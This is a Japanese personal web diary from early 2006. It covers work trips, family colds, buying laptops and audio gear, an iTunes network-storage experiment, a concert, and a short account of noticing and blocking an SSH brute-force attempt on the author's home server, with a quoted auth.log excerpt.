ところで昨日から感じていたのですが、計測をお願いしているだけにしては、「お客様控え室」とかありまして、非常に豪華な感じなのです(^^。さらにお昼になり、控え室にお弁当を準備して下さったということなので、行ってみたところなんと写真のようなとってもとっても豪華なお弁当なのですよ。おいし～(^^。
しかも写真を拡大するとお分かりのように、インターネット接続可能な LAN ケーブルまで引いて下さったのです。至れり尽くせりです。

しかしよく考えてみると、昨日はお昼ちょっと前に電話がかかってきたので、 昼食もとらずに現地へ向かったのですが、むむむのむ！私が必死に急いでるとき同僚の人はこんないい思いをしてたのね(笑)。うーむけしからん。まあもともと自分でまいた種なので仕方ないのですが、こんな思いが出来るならば、もう一度出張するのも悪くないかもしれません(^^。

2006年2月13日(月)

Linux/X40 を持ち歩く
先日会社で購入した X40ですが、すでに Linux はインストールしてあります。実は私、なんとか Linux というのは全然分からないのですが、今回入れたのはフェドラなんとか...という名前のものらしいのです。

これはあくまで緊急メンテナンス用マシンなので、当面使う機会がないといいな～、なんて思っていたのですが、本日現地で作業していた同僚から障害の電話がありまして、急遽出動することになったのです。以下持っていったもの。
- X40
- X40 の ACアダプター
- PowerBook
- PowerBook の AC アダプター
- しらたまちゃん
- しらたまちゃんの予備電池
- 電車の中で読む本
- ペットボトルお茶
- ノート
- かばん本体
- その他
重いです(笑)。

さらに二時間もかかって現地に行ったところ、障害は勘違いで直っていました。しかも勘違いの原因を作ったのは私だったりします(^^。

結局現地でいろいろお手伝いをして帰宅したので、全くの無駄足ではなかったのですが、成り行き上明日もこの荷物で現地へ向かうことになりました。重そうです。いやいや、明日さらに記念用に巨大カメラを持っていくなんてことは絶対に...(笑)。

＃現地はおうちから比較的近いのが救いです(^^。

2006年2月11日(土)

しつこい ssh アタック
三日間寝込んでしまうかと思っていましたが、風邪は思ったほどたいしたことなく、今日は大体良くなりました。
それはそうと、今朝何気なくハブを眺めたら、やけにランプがぴこぴこ点滅しているのです。夜中に点滅が続くのはバックアップを行っているためで不思議はないのですが、朝方にこのような現象が発生するのはちと不思議。大きいメールを受信しているのか、それとも誰かがおうちの Web サーバーから大きいファイルをダウンロードしてるのかどちらかだろうな～、と思ってしばらく見ていたのですが、いっこうにおさまる気配がありません。
そこでサーバーである FreeBSD/R30 にログインして調べてみたのですが、メールも Web も大量の転送が発生した形跡がないのです。仕方ないのでnetstat で調べると CLOSE_WAIT, TIME_WAIT 状態の sshd がたくさんいるのですよ(^^。さらに tcpdump で調べると、案の定 ssh のデーターが大量に流れています。相手先のアドレスは 125.240.14.131 で名前解決は出来ず、traceroute で調べると外国にあるホストのようです。/var/log/auth.log はこんな風になっていました。
```
[/var/log/auth.log]
Feb 11 08:00:10 evariste sshd[9162]: Illegal user tomhao from 125.240.14.131
Feb 11 08:00:11 evariste sshd[9172]: Illegal user tatiane from 125.240.14.131
Feb 11 08:00:11 evariste sshd[9174]: Illegal user tati from 125.240.14.131
Feb 11 08:00:12 evariste sshd[9176]: Illegal user super from 125.240.14.131
Feb 11 08:00:13 evariste sshd[9180]: Illegal user srvlinux from 125.240.14.131
Feb 11 08:00:14 evariste sshd[9186]: Illegal user sany from 125.240.14.131
Feb 11 08:00:15 evariste sshd[9188]: Illegal user aglais from 125.240.14.131
Feb 11 08:00:15 evariste sshd[9190]: Illegal user sac from 125.240.14.131
Feb 11 08:00:16 evariste sshd[9192]: Illegal user lilia from 125.240.14.131
Feb 11 08:00:17 evariste sshd[9194]: Illegal user rita from 125.240.14.131
```
いやはや ssh でのアタックは毎日のようにあり、普通は root, nobody, www, news, pgsql あたりであきらめるのですが、今日のは「しらみつぶし」でユーザー名とパスワードを調べているようで、しかも発見した時点で一時間以上の連続アタック。しつこいのです。
いくらしつこくでも、おうちのサーバーに外部からログイン可能なのは私の名前だけなので、ほんとに無駄な試みですなあ。アタックするのならばユーザー名を kagami にしてパスワードを色々変えなければ(笑)。
というわけでこれだけアタックされると、ただでさえ激とろ ADSL のおうちの帯域に悪影響を及ぼすので、該当アドレスに対し、ADSL モデム兼ルーターレヴェルで無応答になるよう設定を変更しました。
ところが設定を変更して ADSL モデムをリブートしたら、おうちの IP アドレスが変化しました。もしかしてフィルターを増やす必要なかったかも(笑)。

2006年2月10日(金)

風邪でダウンする
モカちゃんお風邪がうつったのか、朝から「今日はだめ～」という状態です。今日は会社お休みです。モカちゃんは元気になり登校しました。

2006年2月9日(木)

モカちゃんダウンする
昨日の晩から熱があったようで、朝から「今日はだめ～」という状態です。今日は学校お休みです。こんなことになるなら、学級閉鎖のときに風邪ひいとけば良かったのに...。まあこればかりは仕方ないですな。

2006年2月7日(火)

続・つくば出張
今日もつくば出張なのです。ところで昨日書いたロスレスエンコードファイルの置き場所ですが、面倒なので PowerBook の中にしました。基本的にクラシックのみロスレスにすることにより、容量の逼迫は避けることが出来そうです。さらに、現在の PowerBook はおそらく後一年くらいしか使わない予定なのと、今後 CD の大量購入は当分なさそうなので、おそらく大丈夫でしょう(^^。万が一容量が足りなくなったら交換すれば良いし。そもそも外部にソースを置くのはやはり運用上問題ありすぎです。
私の AAC エンコード方法ですと、大雑把に CD 一枚が 100Mバイトです。一方ロスレスにすると CD 一枚がおおよそ 250M バイト。差し引き 150Mバイトで、昨日 20枚ほどロスレスに変更したので、3Gバイト位余分なディスク容量が必要となりました。現在半分弱残っています。
```
$ df -k
Filesystem              1K-blocks     Used    Avail Capacity  Mounted on
/dev/disk0s3             58474008 29333284 28884724    50%    /
...
```
前にも書いたように、いっぱい残っていないと不安で仕方がなくなる性格なのが難点ですが、現実にはよほどのことがない限り余裕な残量です(^^。

2006年2月6日(月)

失敗した iTunes over Samba
昨日の日記で「私は256Kbit/sec 以上でエンコードされた MP3 や AAC と、生 CD の音質の違いは良く分からないのです」と書きました。ところがこれは通常 (44.1KHz)のサンプリングで聴いた場合で、昨日書いたように 96KHz でリサンプリングすると違いが分かるのです(笑)。いや～もくろみ通りとはいえ、単なるオーバーリサンプリングでこれほどの違いが出るとは驚きです。世界が変わります。ほんとにお薦めです。
そういう事情で、少なくとの自宅で音楽を聴く場合、もはや圧縮音源では満足できません。かといっていちいち聴きたい CD を持ってきて PC に入れるのは面倒で仕方がありませんし、CD の管理が良くないので目的のものを探し出すのも大変そうです。PowerBook に CD を丸ごとコピーして入れたいのは山々なのですが、そこはノートPC の悲しさで容量の問題が表面化してきます。
そこで思いついたのは、今やバックアップ専用機となり余生を送っている X24 の活用です。実はこのマシンは長期間使う予定で 80GB のディスクを購入して入れたのですが、その直後に IBM がなくなってしまい、衝動的に PowerBook を購入したという経緯があります。なので現在ディスクの中身はすかすかです。これを利用しない手はありません。
まずは iTunes の設定メニューで[iTunes Music フォルダーの変更]を選択し、デフォルトで[~/Music/iTunes]となっている場所をネットワークドライブの所定のディレクトリーに変更します。そしてCDを挿入してエンコード方法を [Appleロスレス(これだと音質劣化なしで半分くらいの容量になる)]にしてエンコードを行うと、おおっ！ちゃんとネットワークドライブの方に書き込まれるではないか(^^。
ところでこの方法でファイルの保存場所を変更すると、元(デフォルト)の場所は認識されなくなるのかと思ったのですが、こちらも認識されるようで、今までエンコードした AAC ファイルも見えたりします。AACの方は外出先で聴きたくなったときのために残しておきたかったので、これはこれで便利なのですが、同じ曲を AAC と[ロスレス]でエンコードするとこの画面のように同じ曲が二つずつ並んで表示され、チェックを外さないと二回ずつ同じのが再生されるというまぬけなことになります(笑)。
最初は無線LANで試してみたのですが、こちらは音とびがひどく実用にたえません。仕方ないので有線のLANに切り替えたところ、こちらは問題ないようです。よしよしこれは大成功と思っていろんな CD をコピーしていたいのですが、不思議なことにいくつかの CD でやたら音切れが多かったり、場合によっては「実体がありません」なるメッセージが出て聴けない曲もあったりするのです。よくよく調べると遅くなるのはその曲が入るフォルダー(BSD ではディレクトリー)が通常のASCII文字でない場合だということが分かりました。さらに実体がなくなるのはもっとたちが悪く、iTunes はファイル名として例えば、
```
Piano Concerto No.2 In B-Flat Major, Op.19, Rondo, Molto allegro.m4a
```
の様なとんでもないものを作り、これが 250バイト以上になる場合があるのです。この場合Macのファイルシステムでは問題がないようですが、FreeBSD 側で拡張子の部分がなくなってしまうのですよ(^^。
仕方ないのでやはりUSBハブを購入し、一個余っている USB接続インターフェース箱入りの 40Gハードディスクを MacOS 拡張フォーマットにて使うしかなさそうです。配線だらけになってやだな(^^。
つくば出張
今日はつくばに出張です。それはそうと昨日購入した UA-4FX の電源は USB バスラインから供給されるのですが、案外消費量が多いようで、PowerBook がかなり熱くなり、さらにファンの音がややうるさいのです。これは USB ハブを購入するべきなのだろうか。でも案外高いし...。どうしよう(^^。

2006年2月5日(日)

UA-4FX
散財です(笑)。今月一日のお誕生日には「音楽を聴く」ための機材を奥様に所望していたのですが、候補は本日届いたRolandの UA-4FX もしくは iPod nano だったのです。通勤時間が長いのでたいくつしのぎに音楽もいいな～と考え、iPod も欲しかったのですが、私の場合年中音楽を聴いているとだんだん飽きちゃって陳腐化してくることが多く、大切なものを失っていく気がしてこちらはやめることにしました。また iPod の音質が PowerBook のヘッドフォン出力より劣るのも購入しなかった理由です。
結局今までもよりも良い音質で音楽を聴きたい、ということで奥さまにお願いしたのが今日届いた商品なのです。まあお願いしたと言っても、こんなのは普通の電気屋さんには置いてないので、結局自分でネット注文したというのが本当のところだったりします(笑)。お値段は送料込みで 20,000円程度です。

この機器は種々の外部音源を色々なエフェクトを使用してUSBインターフェースで取り込むことが可能なのが売りなのですが、私の使い方は PC の音源を USB 経由で出力し、巨大ヘッドフォンで聴くのがメインです。もちろん良い音質で聴くには PS2 に CD を入れてたかたにさんに頂いたアンプで聴けば良いのですが、スピーカで聴くのは住宅事情の関係であまり出来ないし、アンプは居間のテレビの横にあるので、子供がテレビを見てたりゲームをしているときは使用できないという制約があるのです。
そのような事情で PowerBook にヘッドフォンを繋いで音楽を聴くことが多いのです。ただし、PowerBookのヘッドフォン出力はノートPCとしてはかなり良い方だと思うのですが、当然のごとくアンプの出力とは音質のレヴェルが違うので、もうちょっと良い環境が欲しかったのです。
まずこの商品の特徴をPC側からの出力に限って列挙しますと、
- PC とのインターフェースは USB1.1(笑)
- ダイナミックレンジは 24bit .
- サンプリングレートは 44.1KHz, 48KHz もしくは 96KHz. ただし 96KHz の場合は内部 DSP 性能の限界らしく、入出力同時には行えず、さらにエフェクト機能等も使用不可能。
- エフェクト機能は割と豊富。真空管アンプエミュレエーションとかもある。でもきっと使わない(^^。
- 出力インターフェースは「オプティカル」「赤白の線」「ヘッドフォン出力」など。あんまり分からないので詳しくは製品仕様の方でご覧下さい(^^。
という感じでしょうか。
最初に 44.1KHz や 48KHz モードで聴いてみました。ふむふむさすがに専用機だけあり、今まで(PowerBookのヘッドフォン出力)と比べて抜群に音質が良いです。アンプのヘッドフォン出力並みです。さらに真空管アンプエミュレーションとかいじってみたのですが、まあ当然音質は変化するのですが、それで良くなるという感じもなく(そもそも私はあまり音をいじらない)こちらは大体予想通りです。
それよりも実際にねらっていたのは
96KHz サンプリングレート
の方なのです。44.1KHz の CD とか、ましてや MP3 とか AAC 等の圧縮音源で 96KHz のサンプリングレートなんて意味がないと思うでしょ(^^。ところがこれが大ありなのです。そもそも「アナログ時代の音質の方が良い面もあったのでは」と感じているのは私だけではないと思います。この原因としては三つほど考えられます。
1. 44.1KHz のサンプリングレートだと 20KHz 程度の音までしか表現できない。人間の耳の限界なので大丈夫と思って規格を作ったが、実際にはもっと高い周波数を無意識に聴いている。
2. デジタルとはいえ再生時にクロックジッタの影響はある。
3. 量子化におけるノイズの発生(波形がミクロ的に矩形波になるので)。
1は良く知られていると思うのですが、実際にはもっと重要である2, 3は思ったほど知られていないようです。矩形波は周波数無限大の音と考えられるので、現実には無意識もしくは意識的に、高音部のノイズとして感じられます。つまり「美しく繊細な音色」の生命線である倍音成分に対し、多大な悪影響を及ぼすのです。もちろん DA 変換チップにはこの弊害を除去するため、矩形波成分を滑らかにするフィルターが入っているのですが、44.1KHz サンプリングで (ぎりぎりの周波数である)20KHz 程度の音はカットしたくないが、量子化ノイズはカットしたいなどという都合の良いことを両立できる訳がありません。
ところが音源が 44.1KHz 程度でも 96KHz でリサンプルすることにより、倍音成分は余裕で 20KHz 程度まで残すことが可能で、さらに量子化のノイズは 20KHz よりはるかに大きく人間の耳に聞こえない部分に追い出すか、もしくはカットすることが可能になると思うのです。本当は 2, 3が悪いのであり、1が悪さをする要因ってあんまりないのでは...。
ということで実際に聴いてみたのですがこれが期待通りで、
デジタルとアナログの良いところの両方取り(^^
な音質なのです。要するにダイナミックレンジが広くかつ倍音成分が奇麗で繊細。大成功です(^^。
実を言いますと、私は256Kbit/sec 以上でエンコードされた MP3 や AAC と、生 CD の音質の違いは良く分からなかったのですが、例えば古い演奏のモノラル録音をCD 化したものを、さらに AAC に変換した、音源としては余り良くないものに対しても、96KHz サンプリングの方が良い音になることは分かります。さらに96KHzサンプリングの場合、圧縮音楽と生 CD の違いは歴然です。

2006年2月4日(土)

ディスク多重化構成
すみません。いまいち良くわからないのですが、多重化の「2個をスペアにして4個でRAID5を組んでみました」の意味は図(クリックすると大きい画像が表示されます)のような感じになってると考えてよろしいのでしょうか。そして
- 1, 2, 3, 4 のをグループとして考えたもの[1234]
- 5 の単独グループ[5]
- 6 の単独グループ[6]
の二つのグループがお亡くなりになっても大丈夫と言うことでしょうか。つまり[1234]の一台お亡くなりで[1234]はまだ生きてるので、三台までのお亡くなりは絶対に大丈夫で、さらに [5], [6]のいずれか生きている間は、[1234] 全部が動かなくなっても大丈夫？もしそうだとするととってもとっても頑強ですなあ(^^。
ふむふむなるほど。ちなみに上の質問を書いているとき、4台の RAID 構成で 3台分の容量を確保できることを忘れていたのは絶対に内緒なのです(^^。

2006年2月3日(金)

十番目の惑星
最近冥王星のずーっと向こうに、太陽の周りを回っている冥王星より大きい星が発見され、この星を惑星と呼ぶようにするかどうかの議論が行われているようです。冥王星自体、本来惑星と呼ぶような星ではないと思うのですが、こちらは歴史と伝統があるので惑星と呼ぶことに違和感はありません。ただし新しい星を、いくら冥王星より大きいからと言って、惑星と認定するのは色々問題が多いと思うのです。
ここまで書いたところでとんでもないかんちがいに気がつきました。実は惑星の数が一個増えると、
一週間が八日間になる恐れがあり、そうなると働く日が増えてやだ(笑)。
なるねたにしようと思ったのですよ！
ところがよく考えてみると(普通考えなくても分かるが)曜日に関係ある惑星って土星までですよねえ(^^。いやはやおおまぬけとしか言いようがありません。
余談ですが一週間が七日というのは非常に良く出来ていて、通常の一年(365日)・閏年のの一年(366日)・通常の四年間の日数(1461日)・閏年を含まない四年間の日数(1460日)いずれとも互いに素である最小の自然数(≥2)だったりします。すなわちすべての曜日が 1月1日の曜日となる可能性があるし、二年連続最初の日の曜日が同じになる可能性もありません。
一週間が八日とした場合閏年の日数と互いに素ではないのですが、上の事実(1 月1日の曜日となる可能性が全部ある)は成立します。ただしいまいち美しくない感じがします。
年と月はもちろん太陽と月と地球の位置関係から定まったものですが、週に関してはいまいち根拠があいまいです。もしかして年ごとに変化をもたせるために七日に決めた、なんてことはないでしょうなあ(笑)。

2006年2月1日(水)

お気楽学校
二女はすべての単位取得済みと認定され、明日から自宅学習モード。要するにお休みになります。さらにモカちゃんは、明日あさってと学級閉鎖で四連休。うーむ、ちと不謹慎ではあるのですが、とってもとってもうらやましいのです(^^。
お誕生日
どうでも良い話なのですが、今日は私のお誕生日なのです。さすがにこの年になるとお誕生日だからどうのということもなく、またひとつ年とったというだけなのです(^^。

2006年1月31日(火)

続・平塚出張
今日も平塚出張です。トラブルが発生しなければ特にやることもないので、ほんとはひまな方が良かったりします(^^。といいますか、忙しくなったらそうとうにまずい状況なのです。
ひまな状態で無事完了(^^。

2006年1月30日(月)

平塚出張
念願の神奈川県内出張です(笑)。藤沢駅から約 15分で到着です。ただし出張先での作業は案外大変そう。徹夜作業の成果が試されるのです。十分テストしたので大丈夫だとは思いますが、現地に行くと何が待ってるか分かりませんからね(^^。
もっとも現地でのメイン作業は機材の設置であり、私は万が一通信に問題があった場合のサポート要員なので、実はとってもひまだったりします。なので近くの海で写真を撮ったりして遊んでいるのです(^^。
てなことしているうちに設置作業は終わらず時間切れ。ほんとに何もしない一日でした。というわけで明日も平塚出張となりました(^^。

平塚の海とひまそうにねころんでいた猫

2006年1月29日(日)

FireFox/MacOSX 起動時の挙動
私は通常 Safari をブラウザとして使用していますが、いまいちうまく表示されないページも存在します。その場合第二選択として FireFox を使用することになるのですが(第三選択肢は IE^^)、ヴァージョン 1.5 にしてから起動直後にいなくなる場合があるのですよ。必ずいなくなる訳ではなく、半分くらいの確率です。落ちてしまった場合でも、再起動するとすでに実行内容がキャッシュに入っているので高速に立ち上がりますし、そもそもあんまり使わないので実害はないのですが、いまいち不愉快だったりします。もう一回いなくなる場合もあるし。
もちろん local な設定ファイル等全部消去したり、それなりの切り分けは行ったつもりなのですが、事態は改善しません。ネットで検索するとやはり起動時いまいち不安定であるという記事も見つかるのですが、抜本的な解決方法は見つかりませんでした。
ただしヒントはありまして、「起動時に最初のページを読み込んでいるときにタイミング的な問題がありそう」ということで、最初に表示されるページを「空白のページ」にしたところ落ちなくなり、これで問題なく使用することが可能となりました。
余談ですが機能的にも速度的にも FireFox の方が Safari より良さそうな気がします。それではどうして Safari を使い続けているのか、という疑問がわくのですが、
ひとえに Safari の方が見栄えが良い。ユーザーエージェントもかっこいい(^^
というだけの理由だったりします。うーむ、もしかして私って機能よりも見栄えを重視する人なのでしょうか。しらたまちゃん使ってるのもそういう理由が大きいし...。もともと見栄えを気にする方ではなかったと思うのですが、このページのことはおいといて、どうしてこんな風になっちゃったのだろう(笑)。
＃よく考えると学生時代から数学の内容よりフォーミュレーションの見栄えに
＃関心があったような。ほんとは若い頃からそうだったのね(^^。

2006年1月28日(土)

大失敗だった電池購入(^^;
ウィルコムの情報によりますと、2月からW-OAMなるサービスが開始され、要はAir"H系の 1x(32K)パケットが 2x(64K)に拡張され、さらに料金は据えおきということらしいのです。あと一年 AH-K3001V に頑張ってもらおうと電池を交換したのですが、もしかして大失敗だったかも知れません。AH-K3001V はハード的に 1x にしか対応していないのです。
そうはいうもののもし買い替えるとすると、お値段が比較的安いWX300K の中身は AH-K3001V とほとんど同じで、こちらも 1x のみ対応なので却下となります。JRC のははなから無視という前提で考えると、2x 以上に対応しているのは機種変更で 2万円以上するのばかりですなあ。そういう意味ではどうせ現在手が出ないお値段なので、電池購入は大失敗というほどではないかも知れません(笑)。
一年くらいしてまた新機種が発表され値崩れした頃、WX310K を購入するのが良い選択かも...。そもそも、もし電池を買っていなかったら、奥さまにだだをこねて(おい)WX310Kに走ったかも知れません。そういう意味では電池買って良かった？

2006年1月27日(金)

運転免許証更新
今日はお休みをとって免許証の更新です。ほとんど運転しないのでゴールド免許です(笑)。それにしても高いですなあ。更新料(2,800円) + 写真代(1,000円) + 交通費(740円) + 新免許郵送手数料(900円)で合計 5,440円なり。さらに形式だけかと思った30分間の「講習会」もしっかりありまして、まあ受付の前のソファーに座って片山右京氏が安全運転技術を説明しているテレビを見るだけなのですが、それを見始めて 30分経たないと目の検査をしてくれないのですよ。しかも横のところに「交通安全協会」のおっさんがいて、じーっと様子をうかがっているので、いまいち内職しにくかったりするのです(笑)。
今後運転する機会なんてほとんどないと思うのですが、免許を放棄するのもなんかあったときとても後悔しそうだし...。困ったものです。
余談ですが、二女の話を聞くと、今新規に免許を取ろうとするとオートマチック限定でも 30万円位かかるそうな。いやはやこちらも高いですなあ。いっそ譲渡でも出来ればすっきりあげちゃうのに(笑)。
海老名コンサート
免許証更新後海老名に直行するつもりだったのですが、時間が大分あったので一度帰宅。藤沢から海老名はとっても近くて、交通費も片道 190円しかかからないのです(本当は 430円なのですが定期を使えるので)。しかも今回のコンサートは 2,500円で通常の半額以下！ということでとってもお得感が強かったりします(^^。
会場はなかなかきれいで、しかも音響もとても良かったと思います。二列目の席だったのですが前の座席二人と左の人が来なかったのもの良かった(^^。オープニングは「銀河通信」。次に「海老名」という地名よりおさかなシリーズで、「猫のみた夢」「SAKANA-GIRL」「ウミガメスープ」「素晴らしき紅マグロの世界」。
リクエストコーナーはお誕生日とか「今年に入って子供が生まれた」とか、要するに「今ついている人」だったのですが、10日後に子供が生まれる予定の人がいてびっくり(^^。曲目は「会いたくて」「すずかけ通り三丁目」「ねこの森には帰れない」。
次に小さい子供連れの人も多そうということで、NHK シリーズの「恋するニワトリ」「まっくら森の歌」「おひるねしましょう」。さらに代表曲の「カントリーガール」。最後は景気よく「ドッペル玄関」でアンコールは「ここにいるよ」でした。浩子さんは久々に AQ さんといっしょだからなのか、いつもに増してラックスしていたようで、とても楽しそうに歌っていました。
ところで今日の服装は江東区文化センターの時と同じだったと思うのですが、わりと短めのワンピースなのです。江東区のときは「服装についてはつっこまないで！衣装の人が新人で私のこと本物より若いと思ってるらしい」というお話だったのですが、いやいやとても良く似合っています(^^。
ちと残念だったのは途中で偏頭痛の症状が出たこと。最近多いな...。一部分視野が欠損し目が見えなくなるのです。昔と違い猛烈な頭痛には至らないのですが、そこそこ痛くなりかなり不愉快。普通緊張している状態では出ないので、ゆったり聴きすぎたのか(笑)。なので終演後アンケートも一行だけしか書かずに(目が見えないので書きにくい) 早々に帰宅しました。

2006年1月26日(木)

徹夜
今朝の3時半頃ですが、まだ仕事してたりします。でもようやく収束してきたのだ(^^。

2006年1月25日(水)

おやじぎゃく
諸般の事情にて金曜日に休暇をとるということもあり、今日はとんでもない忙しさです。ルーターの設定でおおはまりしたのです。こういう時に限って、
Destination Host Unreachable
なるメッセージが多発します。そこで私がつぶやいた一言...。
てんぱってリーチかけてる状態なのに、あんリーチゃぶるとはなんだ～(^^
おやじですな(笑)。
社内抗争
私が勤めてる会社には二大派閥がありまして、毎日熾烈な争いを続けているのです。こんなことで果たしてまともな仕事が出来るのか、と思う程の激しさです。もちろん争いの内容は「どのメーカーのノート PC を使っているか」ということです。もともと IBM が優勢で私もその派閥に属していたので、なかなか快適な思いをしていたのですが、ご存知の様に IBM がなくなってしまい、現在はパナソニック派が優位な立場に立っているのです。ちなみに Mac 派は超弱小勢力であり、社内に一人しかいなかったりします(笑)。
いや！それにしてもLet's Note ってびっくりする程軽いのですね。もし Mac 系に流れていなかったら私も欲しくなっていたかも知れません。そこで当然のごとく興味がわくのは、
果たして Let's Note は水に浮くのか(^^
ということなのです。なので先日「愛して使う」と宣言して Let's Note を買ってもらった M さんに、「浮くかどうか実験しようよ」とお願いし続けているのですが、毎日却下されているのです。M さんはもともと理学部観測実験系の出身であり、私などと比べはるかに実験の重要さを知ってるはずなのにどうして拒否するのだろうか。不思議なのです(^^。

2006年1月23日(月)

赤ぽっちん不足
本日 X40 が届きました。まだ開けていないのですが、最大の問題は昨日調べたところ、私が愛用する旧式赤ぽっちんが三つしか残っていないことなのですよ(^^。いや～あんなに買い込んだのでたくさん残っているかと思ったのですが、PowerBook 購入後「もうどうせ使わないから」、と自分で買い込んだ分に関してはかなりの個数を人様に配ってしまったのですよ(笑)。
まあ X40 の用途は外出先でのインストールや調査・デバッグ等がメインなので、コンソールを使うことが多そうですし、仮に X を使うことになってもそれほど赤ぽっちんを使う頻度は高くならないと思われます。問題はしらたまちゃの電池問題でも分かるように、私って
サプライの在庫が不足すると不安で不安で我慢出来なくなる
性格であるということなのです。商売をやったりすると在庫の山になりそうです(笑)。そもそも赤ぽっちんもいまや IBM でない会社に引き継がれているような気がするのですが、ちゃんと販売しているのだろうか。謎ですな。 AH-K3001V の電池のごとくとても手に入りにくい状態になっていたらどうしよう(^^。

2006年1月21日(土)

IBM X40 購入
私の仕事のほとんどは Linux で動作するプログラムの開発です。でも Linux は嫌い(^^。特に理由がある訳ではないのですが、なんとなく BSD に比べると品がない感じがするのです。いや～全く根拠はないのですが(笑)。
ところが Linux が動くノートがないと、現場での作業等不便です。 X24/FreeBSD ノートを持ち歩いていた頃は Linux Emulator でなんとかしていたのですが、Mac OS X 上に Linux のクロス開発環境を導入するのは見事に挫折したのです。もちろん私物である X24 に嫌いな Linux を入れるなんてのは論外です。
そもそも私が勤めている会社でも、開発の人間は一人一台くらいノートを買ってもらうは全然問題ないのですが、買ってもらったからには Linux を入れる必要があり、それはやなので今まで「自分ので十分だから」と言って断ってきたのです。そうは言うもののないとやっぱり不便...。なので昨日上司に購入をお願いしたのですが、
「愛して使うならば 20万円以上のを買って良いし、単に道具として使いたおすならば 10万ちょっとかな」
という見事な決済だったのです。とってもとっても納得できる見積もりです(笑)。
愛する気は毛頭ないのでこりゃ 10万円ちょっとでそこそこ使えるものを探す必要があります。最初は Dell とか HP を探していたのですが、 Dell は例のごとくIE, Netscape 以外は受け付けないので即座に却下！ HP の nx4300 も考えたのですが、いまいち重そうなのが欠点なのとちとかっこわるい。そんなこんなで迷っていたら、向かいの席の M さんが新品の X40 を使っているではないか(笑)。どうしたの～、と聞いたところ開発用として一台買ったそうで、 RAM が 512M, ディスクが 40G でお値段は 11万円台。とっても軽くて、しかも製造時期はまだIBM があったころ(笑)。もちろんロゴもちゃんと IBM です。
基本的に Linux ノートが必要な場合、PowerBook と一緒に持ち歩く(おい)ことになるので、極力軽いにこしたことはありません。M さんに「X40 購入の稟議書いたばっかりでしょ～、お願い！もう一枚書いて」といいがかりとも言うべきお願いをして稟議書まで書いてもらい、購入の許可も出たようで恐らく来週中くらいには届くと思います。いやはやいよいよ仕事に精出さなきゃいかんですなあ(^^。

2006年1月19日(木)

AH-K3001V 電池購入
昨年末からウィルコムの PHS も色々と新しい機種が発売された様ですが、なんと言いますか、今使っているAH-K3001V で特に不満がないのです。電話としての使用、テキストブラウザとしての使用、PCのモデムとしての使用に関して何ら問題がありません。確かに表示等もたもたしていることは事実なのですが、回線が激とろ32K なので表示系が速くなってもほとんど意味が無いと思われるのです。
問題が無い訳ではなく、ふたの部分の液晶が表示されたり表示されなかったり、それから最近キーがかなりがたついてたりするのですが、当面実害がなかったりします。実害があるのは「電池がしゃれにならないくらいへたってきた」ということだけなのです。
で、もちろん新しいのが欲しいというのが本音なのですが、今年の終わりか来年の始めには、えいや！と 30万円位の散財を行う予定がありますので、ここはなるべく出費を避ける必要があります。まあおんなじ機種に機種交換ということも考えたのですが、なんのかんので8千円位の予算は必要そうです。
問題の電池ですが、前回調べたときは在庫切れでして、一応商品のリストに載せてあるものの、本音は売りたくないのだろうな～思っていたのです。ところが本日もういちど見たところ、めずらしく在庫があったのですよ！
まあ半年も経たないうちに本体が壊れてしまうと大損するので、一瞬迷いはしたのですが、なんのかんので後一年くらいは壊れないであろうという予想のもと購入することに決定したのです。うーんほんとに良かったのだろうか。いずれにしても最低後一年頑張ってちょうだいね→AH-K3001Vさま(^^。

2006年1月18日(水)

やけど
くちびるをやけどしてしまいました。痛いのなんのって。昨日の晩奥さまがピザを作ってくれたのですよ。でもって熱いうちに食べようとして、フォークかなんかでひとかけら取ろうとしたら、チーズがたら～と落ちそうになったのです。今考えるとそのまま落としゃよかったのですが、あわてて上向いて口の中にいれようとしたのです。そしたらチーズがくちびるの上に落ちてきて(^^。
最初は大したことないと思ったのですが、ほらっ！チーズって粘性が高いじゃないですか。へばりついたのと温度がなかなか下がらないという悲劇が重なり、存外痛いやけどになってしまったのです(笑)。
うーん痛い上にモカちゃんには馬鹿にされるし散々な目に遭いました。食い意地張ってるのがよくないのか、それともまぬけの度合いが普通の人より大きいのか(^^。今日の午前中ずーっと痛かったのですが、夕方になってやっと治まってきました。

2006年1月17日(火)

山梨出張
今日は山梨県の禾生へ出張です。どうも茨城県と山梨県への出張が多いようで(^^。
現在茨城県にお客さまがおられまして、山梨県のハード屋さんにものを発注、そして私がソフトウエアーを作る、という関係にあるのですが、こういう場合大体ソフト屋さんが間に立って調整を行うことになるのです(^^。良く知られているように、ものを作る場合「作る側」がメインになるのはもちろんですが、思ったより難しいのは「作ってもらう側」なのであり、ひたすらお願いしたり、手違いや行き違いがあった場合等ひらにひらに謝ったり、場合によってはちょっと無理を言ったり、いずれにしても「作る人が作りやすい環境」を維持するのがなかなか大変であるとともに重要なのです。というわけで、最近は「人様にお願いしたり謝ったりする」のが本業みたいになってきつつあります(笑)。
昨年から毎日 OmniOutliner を利用してかなり詳細な個人的日報を作成しているのですが、そちらを眺めると昨年中プログラムのコーディングを行っていた実時間は一ヶ月程度でした。本音としては一年中プログラムを書いているのも悪くないな～と思わないでもないし、まだまだ可能であるとも思うのですが、最近は仕様書を書いたり調整を行うことが多くなってきたことも事実です。やはり年なんですかねえ(笑)。
＃きのういそがしかったのは今日の準備のためだったのでした(^^。

2006年1月16日(月)

いそがし～
なので今日の日記はお休み。

2006年1月15日(日)

がんこおやじ
二女がお風呂から出てきて、「モカちゃんはがんこおやじなのか～」と叫んでいたのです。なんのことか聞いてみたところ、お湯が異常に熱かったそうで、うめるのにとっても苦労したということらしいのです。
うーむ私もお風呂に入ると異常に熱くって、うめるのにとっても苦労する場合があるのですが、犯人はモカちゃんだったのですね(^^。モカちゃんが言うにはそれでも加減しているそうで、温泉や銭湯とかに行ってもぬるくて仕方がないそうなのです。奥さまも私もどちらかというとぬるいお湯が好きな方だと思うのですが、モカちゃんはどうしてこんなに熱湯好きになったのだろう。謎ですな。もしかして本当にがんこおやじなのか(笑)。

2006年1月14日(土)

モカちゃんの理科教室
今、モカちゃんが通っている理科教室は小学生のコースのみで、中学生のコースがありません。そこで中学生も対象とした理科教室を探していたのですが、アインシュタインラボなる教室があるという話を聞き、連絡をとったところ本日見学させて頂くことになり、現地に行って施設を見せて頂いたり、先生の話を聞いたのです。先生はとても感じの良い方で、さらに理科に対する造詣が深く、しかも子供が好きそう、ということで個人的にはとっても気に入りました。モカちゃんもお気に入りのようでしたので、四月からはこちらに通うことに決たのです。今まで以上に科学的な考え方をしっかりと学んでほしいと思います。
